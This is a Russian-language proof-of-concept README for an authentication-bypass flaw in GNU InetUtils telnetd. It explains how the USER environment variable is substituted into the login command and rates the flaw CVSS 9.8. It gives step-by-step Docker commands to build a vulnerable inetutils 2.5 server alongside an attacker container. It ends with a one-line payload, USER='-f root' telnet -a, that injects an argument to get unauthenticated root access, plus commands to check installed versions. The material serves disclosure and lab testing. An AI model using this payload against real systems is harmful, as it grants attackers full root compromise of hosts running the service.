
Уязвимость в GNU InetUtils telnetd позволяет удалённый доступ с правами root
Недавно выявленная уязвимость внедрения аргументов в GNU InetUtils telnetd позволяет злоумышленникам обойти аутентификацию, установив переменную окружения USER в значение «-f root». В результате удаленный неаутентифицированный злоумышленник может получить доступ к системам, работающим с уязвимой службой telnetd, и повысить привилегии до root. При успешной эксплуатации этот недостаток может позволить злоумышленникам получить доступ к конфиденциальной информации, изменить настройки системы и выполнять произвольные команды, что потенциально может привести к полному компрометации системы.
| Детали CVSS | CNA (MITRE) |
|---|
| Базовый балл | 9.8 |
| Вектор | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Вектор атаки | Сеть |
| Сложность атаки | Низкая |
| Требуемые привилегии | Нет |
| Взаимодействие с пользователем | Нет |
| Область действия | Без изменений |
| Влияние на конфиденциальность | Высокое |
| Влияние на целостность | Высокое |
| Влияние на доступность | Высокое |
| Версия CVSSv3 | 3.1 |
Нам удалось получить доступ к коммиту ниже от 2015 года, который показывает изменение кода (строка 62), создавшее эту уязвимость.
Цель этого readme — только показать выполнение эксплойта, а не каждый шаг, который привел к созданию этого CVE. Однако суть заключается в замене заполнителя %U значением, взятым из переменной окружения USER. Эта конкретная переменная окружения контролируется пользователем и может быть изменена через протокол Telnet 🔥.
Для этого теста я создал 2 контейнера, используя образы с Docker Hub, с уязвимой версией InetUtils.
docker run --rm -it --name vuln -p 23:23 ubuntu:22.04 bash
apt update
apt install build-essential wget tar
wget http://ftp.gnu.org/gnu/inetutils/inetutils-2.5.tar.gz
tar -xvzf inetutils-2.5.tar.gz
cd inetutils-2.5
./configure
./configure --enable-telnet
make clean
make
make install
export PATH=$PATH:/usr/local/libexec
apt install openbsd-inetd
echo "telnet stream tcp nowait root /usr/local/libexec/telnetd telnetd" >> /etc/inetd.conf
service openbsd-inetd restart
docker run --rm -it --name attacker ubuntu bash
apt install telnet
С помощью приведенной ниже полезной нагрузки мы заменяем переменную USER и обходим систему аутентификации.
USER="-f root" telnet -a 172.17.0.3
Проверьте версию вашего inetutils
hostname --version
telnetd --version
До встречи :wink: